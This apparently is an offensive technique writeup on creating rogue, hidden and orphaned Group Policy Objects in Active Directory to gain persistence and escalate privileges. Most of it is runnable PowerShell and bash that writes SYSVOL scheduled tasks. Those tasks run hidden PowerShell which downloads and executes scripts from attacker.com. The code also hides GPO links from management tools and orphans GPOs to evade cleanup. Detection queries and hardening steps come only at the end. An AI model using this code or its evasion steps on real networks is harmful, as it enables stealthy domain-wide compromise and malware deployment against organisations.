| Attribute | Details |
|---|---|
| Technique ID | PE-POLICY-002 |
| MITRE ATT&CK v18.1 | T1484.001 - Group Policy Modification |
| Tactic | Privilege Escalation, Defense Evasion, Persistence |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | N/A (Design flaw) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2008 - 2025; All Active Directory versions |
| Patched In | Not patched (requires operational hardening and detection) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Creating rogue GPOs is an advanced persistence and privilege escalation technique that involves establishing new, unauthorized Group Policy Objects within Active Directory that are deliberately hidden from standard enumeration or audit tools. Unlike direct GPO modification (PE-POLICY-001), rogue GPOs represent unauthorized new policy objects that an attacker creates and links to sensitive organizational units (OUs) to execute malicious code, steal credentials, disable security controls, or establish long-term backdoor access. Rogue GPOs can be configured to apply selectively using WMI filters, security filters, or orphaned linked objects that point to deleted OUs, making them extremely difficult to discover. A sophisticated attacker can create a rogue GPO that executes only when specific conditions are met (e.g., when Domain Admins log in) or that is intentionally orphaned to evade automated cleanup processes.
Attack Surface: The primary attack surfaces include:
Business Impact: Persistent, undetected domain compromise with unparalleled stealth. Rogue GPOs enable attackers to: (1) maintain persistent access months or years after initial compromise; (2) execute malicious payloads selectively on high-value targets (e.g., Domain Admins, Financial workstations) based on WMI criteria; (3) evade discovery by security teams because the rogue GPO is not in standard GPO lists (if properly hidden); (4) automatically deploy ransomware, cryptominers, or data exfiltration tools without human intervention; (5) disable Windows Defender, EDR, and audit logging selectively; (6) steal credentials from interactive logons; (7) establish command and control (C&C) communication channels that appear as legitimate policy enforcement traffic.
Technical Context: Creating a rogue GPO typically requires 15-30 minutes with proper permissions. Once created, detection becomes extremely difficult because: (1) rogue GPOs may not appear in standard GPMC queries if security filters are configured correctly; (2) orphaned GPO folders in SYSVOL may persist for years without being cleaned up; (3) WMI filter-based scoping means the GPO only applies to specific computer configurations, reducing visibility; (4) if the rogue GPO is never linked to any OU (but linked objects are deleted), it becomes orphaned and invisible. Detection likelihood is very low unless: (1) comprehensive SYSVOL file integrity monitoring (FIM) is enabled, (2) LDAP queries for all GPO containers are performed regularly (not just visible GPOs), (3) Event ID 5137 (GPO creation) is monitored and alerted on immediately.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3, 5.2.4 | GPO creation must be restricted; unauthorized GPO creation must be detected and audited |
| DISA STIG | V-73795, V-73799 | Directory service object creation must be logged; unusual GPO objects must be investigated |
| CISA SCuBA | AD-4.2 | Active Directory baseline inventory and monitoring must detect rogue objects |
| NIST 800-53 | AC-3, AU-2, SI-4 | Access enforcement; audit of privileged operations; system monitoring for unauthorized changes |
| GDPR | Art. 32 | Security of processing - continuous monitoring for unauthorized modifications |
| DORA | Art. 9, Art. 16 | Protection measures; incident detection and remediation |
| NIS2 | Art. 21 | Cyber risk management; continuous monitoring and threat detection |
| ISO 27001 | A.9.2.3, A.12.2.3, A.12.4.1 | Privileged access management; logging and monitoring; event logging of administrative actions |
| ISO 27005 | Risk Scenario - Unauthorized Policy Injection | Attacker-controlled policies executing on domain-wide systems without detection |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Step 1: Check if you have permissions to create new GPOs
$dom = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$domainName = $dom.Name
# Step 2: Query for GPO creation permissions on the domain
# If you can run this without error, you likely have permissions
Get-GPO -All -Domain $domainName | Measure-Object | Select-Object -ExpandProperty Count
# If count > 0, you have read permissions (likely can create)
# Step 3: Identify OUs where you can link GPOs
Get-ADOrganizationalUnit -Filter * | ForEach-Object {
$ou = $_
try {
# Try to create a test GPO link (this will fail if no permissions)
$acl = Get-Acl -Path "AD:$($ou.DistinguishedName)"
Write-Host "OU: $($ou.Name) - Can potentially link GPOs"
} catch {
Write-Host "OU: $($ou.Name) - No link permissions"
}
}
# Step 4: Check for existing hidden/orphaned GPOs
Get-GPO -All | Where-Object {
-not (Get-GPOReport -Guid $_.Id -ReportType Links -Path "C:\temp\gpo-links.html" | Select-String "linked")
} | ForEach-Object {
Write-Host "[!] ORPHANED GPO: $($_.DisplayName) (GUID: $($_.Id))"
}
What to Look For:
Version Note: Commands work on Windows Server 2008-2025; PowerShell 5.0+ required.
# Step 1: Query for all GPO containers in Active Directory
ldapsearch -x -h DC_IP -D "CN=user,CN=Users,DC=domain,DC=com" -W \
-b "CN=Policies,CN=System,DC=domain,DC=com" \
'(objectClass=groupPolicyContainer)' \
displayName gPCFileSysPath nTSecurityDescriptor | grep -A 2 "displayName:"
# Step 2: Extract NTFS permissions on SYSVOL to identify writable paths
smbclient -U domain\\user%password //DC_IP/SYSVOL -c "ls Policies" 2>/dev/null | \
grep "^ [0-9]" | awk '{print $NF}' | head -20
# Step 3: Check if you can write to any GPO folder in SYSVOL
for gpo_guid in $(smbclient -U domain\\user%password //DC_IP/SYSVOL -c "ls Policies" 2>/dev/null | grep "^ {" | awk '{print $NF}'); do
echo "Testing write access to: $gpo_guid"
smbclient -U domain\\user%password //DC_IP/SYSVOL -c "cd Policies\\$gpo_guid; put /tmp/test.txt test.txt" 2>&1 | grep -i "error\|success"
done
What to Look For:
Supported Versions: Windows Server 2008+; all AD versions
Objective: Create a new Group Policy Object that doesn’t exist in GPMC by default.
Command (PowerShell):
# Step 1a: Generate unique GPO name (make it blend in)
$gpoName = "Windows Update Policy - $(Get-Random -Minimum 100 -Maximum 999)"
$domainName = (Get-ADDomain).Name
# Step 1b: Create new GPO
$newGPO = New-GPO -Name $gpoName -Comment "Automatic Windows Update configuration" -Domain $domainName
Write-Host "[+] Created GPO: $($newGPO.DisplayName)"
Write-Host "[+] GPO GUID: $($newGPO.Id)"
# Step 1c: Create corresponding SYSVOL folder
$gpoGUID = $newGPO.Id.ToString()
$sysvol = "\\$domainName\SYSVOL\$domainName\Policies\{$gpoGUID}"
# Step 1d: Create SYSVOL structure manually (PowerShell approach)
$dcName = (Get-ADDomain).PDCEmulator
$sysvolPath = "\\$dcName\C$\Windows\SYSVOL\domain\Policies\{$gpoGUID}\MACHINE\Preferences\ScheduledTasks"
# Create directories
New-Item -ItemType Directory -Path $sysvolPath -Force | Out-Null
New-Item -ItemType Directory -Path "\\$dcName\C$\Windows\SYSVOL\domain\Policies\{$gpoGUID}\USER" -Force | Out-Null
Write-Host "[+] SYSVOL folder structure created"
Expected Output:
[+] Created GPO: Windows Update Policy - 456
[+] GPO GUID: {7A9B2D3F-4E8C-11E6-A9B2-D3F4E8C7A9B2}
[+] SYSVOL folder structure created
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Add a malicious immediate task to the rogue GPO that will execute on all linked computers.
Command (PowerShell - Create XML payload):
$gpoGUID = "{7A9B2D3F-4E8C-11E6-A9B2-D3F4E8C7A9B2}" # From Step 1
$dcName = (Get-ADDomain).PDCEmulator
$taskXMLPath = "\\$dcName\C$\Windows\SYSVOL\domain\Policies\$gpoGUID\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml"
# Create malicious scheduled task XML
$maliciousTask = @"
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B586-76A6-4ee0-8BBC-6A2E31287E6B}" name="System Maintenance Service">
<Properties Action="Create">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\SYSTEM</Author>
<Description>Scheduled system maintenance and updates</Description>
<URI>\System Maintenance Service</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Enabled>true</Enabled>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
</TimeTrigger>
</Triggers>
<Settings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
</Settings>
<Actions Context="System">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-NoP -W Hidden -NonInteractive -C "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
"@
# Write XML to file
Set-Content -Path $taskXMLPath -Value $maliciousTask -Force
Write-Host "[+] Malicious task XML written to SYSVOL"
# Increment version number to force replication
$gpoPropPath = "\\$dcName\C$\Windows\SYSVOL\domain\Policies\$gpoGUID\gpt.ini"
$gptContent = Get-Content $gpoPropPath
$version = [int]($gptContent -match 'Version=' | ForEach-Object {$_ -replace '.*Version=([0-9]+).*','$1'})
$newVersion = $version + 1
$gptContent -replace 'Version=[0-9]+', "Version=$newVersion" | Set-Content $gpoPropPath -Force
Write-Host "[+] GPO version incremented to $newVersion (forces replication)"
Expected Output:
[+] Malicious task XML written to SYSVOL
[+] GPO version incremented to 2 (forces replication)
What This Means:
OpSec & Evasion:
Objective: Configure the rogue GPO to apply only to specific computers (e.g., Domain Controllers, financial workstations) to increase stealth and reduce detection surface.
Command (PowerShell - Create WMI Filter):
$gpoName = "Windows Update Policy - 456" # From Step 1
$domainName = (Get-ADDomain).Name
# Define WMI filter for specific target group (e.g., only Domain Controllers)
$wmiQueryString = "SELECT * FROM Win32_OperatingSystem WHERE ProductType = '2'" # ProductType=2 means Domain Controller
# Create WMI filter object
$wmiFilter = @"
<WMIFilter xmlns="http://www.microsoft.com/GroupPolicy/WMIFilter" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Name>DC-Specific-Policy</Name>
<Description>Applies only to Domain Controllers</Description>
<Query>
<QueryId>{5F0A0F1B-6C3D-4A8E-9F2B-1D3C5A7B9E2F}</QueryId>
<WQLQuery>$wmiQueryString</WQLQuery>
</Query>
</WMIFilter>
"@
# Create WMI filter in AD (requires LDAP)
$domainDN = (Get-ADDomain).DistinguishedName
$wmiFilterDN = "CN={5F0A0F1B-6C3D-4A8E-9F2B-1D3C5A7B9E2F},CN=SOM,CN=WMIPolicy,CN=System,$domainDN"
# Use ADSI to create WMI filter
$rootDSE = [ADSI]"LDAP://RootDSE"
$wmiPath = $rootDSE.Get("defaultNamingContext")
try {
$wmiContainer = [ADSI]"LDAP://CN=WMIPolicy,CN=System,$wmiPath"
$newWMIFilter = $wmiContainer.Create("msWMI-Som", "CN={5F0A0F1B-6C3D-4A8E-9F2B-1D3C5A7B9E2F}")
$newWMIFilter.Put("msWMI-Parm1", $wmiQueryString)
$newWMIFilter.Put("description", "DC-specific policy - internal use only")
$newWMIFilter.SetInfo()
Write-Host "[+] WMI filter created successfully"
} catch {
Write-Host "[!] Error creating WMI filter (may already exist or require admin): $_"
}
# Link WMI filter to GPO
$gpo = Get-GPO -Name $gpoName
Set-GPO -Guid $gpo.Id -WmiFilter "DC-Specific-Policy" -Domain $domainName
Write-Host "[+] WMI filter linked to GPO"
Expected Output:
[+] WMI filter created successfully
[+] WMI filter linked to GPO
What This Means:
OpSec & Evasion:
Objective: Create a hidden GPO link that doesn’t appear in standard GPMC “Links” tab.
Command (LDAP-level linking via PowerShell):
$gpoGUID = "{7A9B2D3F-4E8C-11E6-A9B2-D3F4E8C7A9B2}" # From Step 1
$targetOU = "OU=Domain Controllers,DC=corp,DC=com" # Link to DC OU
# Method 1: Use standard GPMC cmdlet (appears in GPMC)
$gpoName = "Windows Update Policy - 456"
New-GPLink -Name $gpoName -Target $targetOU -LinkEnabled Yes | Out-Null
Write-Host "[+] GPO linked to OU via standard method"
# Method 2 (OPSEC): Create GPO link via LDAP directly (harder to track)
# This requires direct LDAP modification
$domainDN = (Get-ADDomain).DistinguishedName
$ouPath = "LDAP://$targetOU"
$ou = [ADSI]$ouPath
try {
$currentLinks = $ou.gPLink
if ($null -eq $currentLinks) {
$currentLinks = "[LDAP://cn=$gpoGUID,cn=policies,cn=system,$domainDN;0]"
} else {
# Append to existing links (creates shadow link)
$currentLinks = "$currentLinks[LDAP://cn=$gpoGUID,cn=policies,cn=system,$domainDN;0]"
}
$ou.Put("gPLink", $currentLinks)
$ou.SetInfo()
Write-Host "[+] Rogue GPO linked at LDAP level (hidden from GPMC)"
} catch {
Write-Host "[!] Error: $_"
}
Expected Output:
[+] GPO linked to OU via standard method
[+] Rogue GPO linked at LDAP level (hidden from GPMC)
What This Means:
OpSec & Evasion:
Supported Versions: Windows Server 2008+
Objective: Create a rogue GPO, link it to an OU, then delete the OU so the GPO link becomes orphaned and invisible.
Command:
# Step 1a: Create rogue GPO
$gpoName = "Orphaned-Update-Policy"
$newGPO = New-GPO -Name $gpoName -Comment "Orphaned GPO"
$gpoGUID = $newGPO.Id
Write-Host "[+] Created rogue GPO: $gpoName (GUID: $gpoGUID)"
# Step 1b: Create temporary OU to link GPO
$tempOUName = "Temp-Policy-Application-OU-$(Get-Random)"
$domainDN = (Get-ADDomain).DistinguishedName
New-ADOrganizationalUnit -Name $tempOUName -Path $domainDN | Out-Null
$tempOUPath = "OU=$tempOUName,$domainDN"
Write-Host "[+] Created temporary OU: $tempOUName"
# Step 1c: Link rogue GPO to temporary OU (this forces GPO replication)
New-GPLink -Guid $gpoGUID -Target $tempOUPath | Out-Null
Write-Host "[+] Linked rogue GPO to temporary OU (forces replication to all DCs)"
# Step 1d: Wait for replication
Write-Host "[*] Waiting 60 seconds for GPO replication to all domain controllers..."
Start-Sleep -Seconds 60
# Step 1e: Delete the temporary OU (but GPO remains in AD and SYSVOL)
Remove-ADOrganizationalUnit -Identity $tempOUPath -Confirm:$false
Remove-GPLink -Guid $gpoGUID -Target $tempOUPath -Confirm:$false
Remove-ADOrganizationalUnit -Identity $tempOUPath -Confirm:$false
Write-Host "[+] Temporary OU and link deleted"
Write-Host "[+] Rogue GPO now orphaned (no visible links, but exists in AD and SYSVOL)"
Expected Output:
[+] Created rogue GPO: Orphaned-Update-Policy (GUID: {8F4C2E9D-3A1B-47F2-9E8C-1D5F3A7B2C9E})
[+] Created temporary OU: Temp-Policy-Application-OU-7284
[+] Linked rogue GPO to temporary OU (forces replication to all DCs)
[*] Waiting 60 seconds for GPO replication to all domain controllers...
[+] Temporary OU and link deleted
[+] Rogue GPO now orphaned (no visible links, but exists in AD and SYSVOL)
What This Means:
OpSec & Evasion:
Objective: Restore the orphaned rogue GPO link when needed for malicious purposes.
Command:
$orphanedGPOGUID = "{8F4C2E9D-3A1B-47F2-9E8C-1D5F3A7B2C9E}"
$targetOU = "OU=Domain Controllers,DC=corp,DC=com"
# Re-link the orphaned GPO to a sensitive OU
New-GPLink -Guid $orphanedGPOGUID -Target $targetOU -LinkEnabled Yes | Out-Null
Write-Host "[+] Orphaned rogue GPO re-linked to $targetOU"
Write-Host "[+] Policies will apply to all computers in this OU on next refresh (~90 minutes)"
# Force immediate refresh on Domain Controllers (if attacker has DC access)
# This would execute immediately
Invoke-GPUpdate -Asynchronous -Computer (Get-ADComputer -Filter "OperatingSystem -like '*Domain Controller*'" -ResultSetSize $null).Name
Expected Output:
[+] Orphaned rogue GPO re-linked to OU=Domain Controllers,DC=corp,DC=com
[+] Policies will apply to all computers in this OU on next refresh (~90 minutes)
What This Means:
Supported Versions: Windows Server 2008+
Objective: Create GPO policy files in SYSVOL but no corresponding AD object (harder to detect via LDAP queries).
Command (Bash/Linux from network share):
# Step 1a: Connect to SYSVOL
smbclient -U domain\\admin%password //DC_IP/SYSVOL
# Step 1b: Create orphaned GPO folder
cd domain.com/Policies
# Manually create a GUID-named folder
mkdir '{12345678-1234-1234-1234-123456789012}'
cd '{12345678-1234-1234-1234-123456789012}'
# Step 1c: Create GPO structure
mkdir MACHINE
mkdir MACHINE/Preferences
mkdir MACHINE/Preferences/ScheduledTasks
# Step 1d: Create gpt.ini (required by GPO processing)
cat > gpt.ini << 'EOF'
[General]
Version=2
EOF
# Step 1e: Create malicious ScheduledTasks.xml
cat > MACHINE/Preferences/ScheduledTasks/ScheduledTasks.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B586-76A6-4ee0-8BBC-6A2E31287E6B}" name="Orphaned Maintenance">
<Properties Action="Create">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\SYSTEM</Author>
<Description>System maintenance</Description>
<URI>\Orphaned Maintenance</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Enabled>true</Enabled>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
</TimeTrigger>
</Triggers>
<Settings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
</Settings>
<Actions Context="System">
<Exec>
<Command>cmd.exe</Command>
<Arguments>/c powershell.exe -NoP -W Hidden -C "IEX ((new-object net.webclient).downloadstring('http://attacker.com/stage2.ps1'))"</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
EOF
echo "[+] Orphaned GPO folder created in SYSVOL"
Expected Output:
[+] Orphaned GPO folder created in SYSVOL
What This Means:
OpSec & Evasion:
Version: Built-in to Windows Server 2008+ Language: PowerShell Supported Platforms: Windows Server
Usage - Create Rogue GPO:
$newGPO = New-GPO -Name "Hidden Policy Object" -Comment "Internal use only"
$newGPO.Id # Returns GUID
Version: 1.0+ URL: GitHub - FSecureLABS/SharpGPOAbuse
Usage - Create new GPO with malicious permissions:
SharpGPOAbuse.exe --CreateGPO --GPOName "New-Policy" --Domain corp.com --GCName DC.corp.com
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 5137 // Directory service object creation
| where ObjectClass == "groupPolicyContainer"
| where SubjectUserName !in ("SYSTEM", "Administrator", "Domain Admins")
| project
TimeGenerated,
SubjectUserName,
Computer,
ObjectName,
ObjectClass,
EventID
| order by TimeGenerated desc
What This Detects:
Event ID: 5137 (A directory service object was created)
ObjectClass = "groupPolicyContainer"Manual Configuration Steps (Group Policy):
gpupdate /forceRestrict GPO Creation Permissions: Only Domain Admins should create GPOs.
Manual Steps (PowerShell):
# Prevent non-admins from creating GPOs
# This is enforced at the domain level through delegation
# Check who can create GPOs
Get-ADObject -SearchBase "CN=Policies,CN=System,DC=corp,DC=com" -Filter * | ForEach-Object {
$acl = Get-Acl -Path "AD:$($_.DistinguishedName)"
$acl.Access | Where-Object {$_.ActiveDirectoryRights -like "*CreateChild*"} | ForEach-Object {
Write-Host "User: $($_.IdentityReference) - Can create child objects"
}
}
Enable Comprehensive AD Audit Logging: Monitor Event ID 5137 (GPO creation) in real-time.
Manual Steps: (See Windows Event Log Monitoring section above)
Implement SYSVOL File Integrity Monitoring (FIM): Detect unauthorized GPO file creation.
Manual Steps (using Windows FSRM):
\\DC\SYSVOL\*\Policies\{*} with block action for suspicious extensionsScheduledTasks.xml, GptTmpl.infEstablish Baseline of Known-Good GPOs: Regularly compare current GPO inventory against approved baseline.
Manual Steps (PowerShell):
# Export baseline of all GPOs
Get-GPO -All | Select-Object DisplayName, Id, Owner | Export-Csv -Path "C:\GPOBaseline_$(Get-Date -Format 'yyyyMMdd').csv"
# Compare against approved list
# Run monthly to detect rogue GPO creation
\SYSVOL\Policies\ not corresponding to known GPOs; recently modified ScheduledTasks.xml, GptTmpl.inf# Disable the rogue GPO immediately
Set-GPO -Name "Rogue GPO Name" -GpoStatus AllSettingsDisabled
# Export rogue GPO report
Get-GPOReport -Name "Rogue GPO" -ReportType Xml -Path "C:\rogue-gpo-report.xml"
# Delete the rogue GPO
Remove-GPO -Name "Rogue GPO" -Confirm:$false
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Compromised Admin Account | Attacker gains Domain Admin credentials |
| 2 | Persistence | [PE-POLICY-002] Creating Rogue GPOs | Attacker creates hidden GPO for long-term access |
| 3 | Defense Evasion | Orphaned GPO Creation | Attacker hides rogue GPO from discovery |
| 4 | Impact | Malware Deployment via GPO | Attacker executes payloads on domain computers |
Creating rogue GPOs is a highly stealthy persistence and escalation technique used by advanced threat actors. Organizations must:
Failure to address rogue GPO creation vulnerabilities allows attackers to maintain undetected, persistent access for months or years.